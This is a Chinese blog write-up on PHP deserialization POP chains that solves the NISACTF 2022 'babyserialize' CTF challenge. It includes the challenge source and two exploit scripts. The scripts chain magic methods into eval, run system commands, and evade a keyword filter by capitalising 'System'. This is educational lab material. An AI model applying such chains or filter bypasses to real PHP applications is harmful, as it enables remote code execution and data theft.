首页 > 编程语言 >PHP序列化与反序列化(pop链)

PHP序列化与反序列化(pop链)

时间:2023-05-04 19:56:35浏览次数:43  
标签:__ PHP pop ext 调用 new 序列化 public

构造思想

构造一条完整的pop链要有头有尾,头一般是从传参的地方开始并反序列化,尾是可以达到攻击或获取数据的·口子,比如eval,include等可以执行或者包含读取。有了头又有了尾,就要通过魔术方法把它们连接起来。

魔术方法

__construct()  创建对象时触发
__destruct()  对象被销毁时触发
__sleep()  在对象被序列化的过程中自动调用,且发生在序列化之前
__wakeup()  该魔术方法在反序列化的时候自动调用,且发生在反序列化之前
__get()  用于从不可访问或不存在的属性读取数据
__set()  用于将数据写入不可访问或不存在的属性
__call()  在对象上下文中调用不可访问的方法时触发
__callStatic()  在静态上下文中调用不可访问的方法时触发
__toString()  在对象当做字符串的时候会被调用。
__invoke()  当尝试将对象调用为函数时触发

题目解析

[NISACTF 2022]babyserialize

题目源码

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

解题思路

1).eval反推到_invoke

这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中。

 __invoke魔术方法是对象被当做函数进行调用的时候所触发

2.)__invoke反推到__toString

在Ilovetxw类的toString方法中,返回了return $bb;

  __ToString方法,是对象被当做字符串的时候进行自动调用

3.)__toString反推到__set

在four的__set中,调用了strolower方法。

    strolower函数把字符串转换为小写;

4.)从__set反推到__call

__set:对不存在或者不可访问的变量进行赋值就自动调用

__call:对不存在的方法或者不可访问的方法进行调用就自动调用

 

构造exp

 

<?php
show_source('2.php');
class NISA{
    public $fun;
    public $txw4ever='system("ls");';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}
$a=new tianxiwei;
$a->ext=new ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new ilovetxw;
$a->ext->huang->a->su=new nisa;
echo urlencode(serialize($a));

 

发现something wrong…
这里进行常规大小写转换,就可以绕过

<?php
show_source('2.php');
class NISA{
    public $fun;
    public $txw4ever='System("tac /fllllllaaag");';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}
$a=new tianxiwei;
$a->ext=new ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new ilovetxw;
$a->ext->huang->a->su=new nisa;
echo urlencode(serialize($a));

 

 参考文章链接:https://blog.csdn.net/weixin_57222016/article/details/124620719

标签:__,PHP,pop,ext,调用,new,序列化,public
From: https://www.cnblogs.com/zgl-/p/17372328.html

相关文章

  • PHP基础--mysqli的事务处理
    <?php//在命令行中:默认创建的表类型为MyISAM表类型,是不支持事务的//在命令行中建表时添加type=InnoDB,默认自动提交事务autocommit,不能回滚//创建连接对象$mysqlConn=newmysqli("localhost","root","root","test");if($error=$mysqli->connect_error){die("......
  • 通信协议之序列化
    转:http://blog.chinaunix.net/uid-27105712-id-3266286.html?page=2通信协议可以理解两个节点之间为了协同工作实现信息交换,协商一定的规则和约定,例如规定字节序,各个字段类型,使用什么压缩算法或加密算法等。常见的有tcp,udo,http,sip等常见协议。协议有流程规范和编码规范。流程如呼......
  • PHP获取时间戳、获取天周月的起始时间、指定时间所在周、指定时间的各个周等相关函数
    一、时间戳和日期互相转换//获取时间戳$date=time();//获取当前时间戳$date=mktime(0,0,0,10,10,2020);//获取指定时间的时间戳2020年10月10日0时0分0秒//日期转换为时间戳$date="2019-08-0808:08:08";$timestamp=strtotime($date);//将时间戳......
  • 面试官:您能说说序列化和反序列化吗?是怎么实现的?什么场景下需要它?
        序列化和反序列化是Java中最基础的知识点,也是很容易被大家遗忘的,虽然天天使用它,但并不一定都能清楚的说明白。我相信很多小伙伴们掌握的也就几句概念、关键字(Serializable)而已,如果深究问一下序列化和反序列化是如何实现、使用场景等,就可能不知所措了。在每次我作为面......
  • 【web 开发基础】PHP 中的递归函数
    前言什么是递归?递归做为一种算法在程序设计语言中广泛应用。所谓的递归简单地概括就是程序调用自身的编程技巧称为递归(recursion)。递归在计算机科学中是指一种通过重复将问题分解为同类的子问题而解决问题的方法。递归式方法可以被用于解决很多的计算机科学问题,因此它是计算机科学......
  • 用php实现stream模式
    首先是前端的代码是:varurl="https://www.example.com";fetch(url,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(requestData),}).then(response=>{......
  • PHP: mysql 5.7 and php 5.6 导入记事本编号查询不了和中文乱码问题
    --https://dev.mysql.com/doc/refman/8.0/en/charset-database.htmlshowvariableslike"character_set_%";CREATEDATABASE`geovindu`CHARACTERSETutf8COLLATEutf8_general_ci;--mysql官方说明文档才知道原来MySQL8.0已经已经把默认字符集升级成ut8mb4了,和5.0有区......
  • PHP use 动态类
    本文主要和大家分享PHP新特性use加强使用,从同一namespace导入的类、函数和常量现在可以通过单个use语句一次性导入了。<?php//PHP7之前版本用法<?phpusesome\namespace\ClassA;usesome\namespace\ClassB;usesome\namespace\ClassCasC;usefunctionsome\name......
  • 自定义PopupWindow动画效果
    publicclassRollActivityextendsActivity{ privateViewview; privateButtonbtn; privatePopupWindowmPopupWindow; privateView[]btns;/**Calledwhentheactivityisfirstcreated.*/@OverridepublicvoidonCreate(BundlesavedInstan......
  • Android提高第十八篇之自定义PopupWindow实现的Menu(TabMenu)
    用过UCWEB-Android版的人都应该对其特殊的menu有印象,把menu做成Tab-Menu(支持分页的Menu),可以容纳比Android传统的menu更丰富的内容(Android的menu超过6项则缩略在[更多]里),本文参考网上的例子(作者:CoffeeCole,email:[email protected]),对例子进行简化以及封装,使其作为一个复......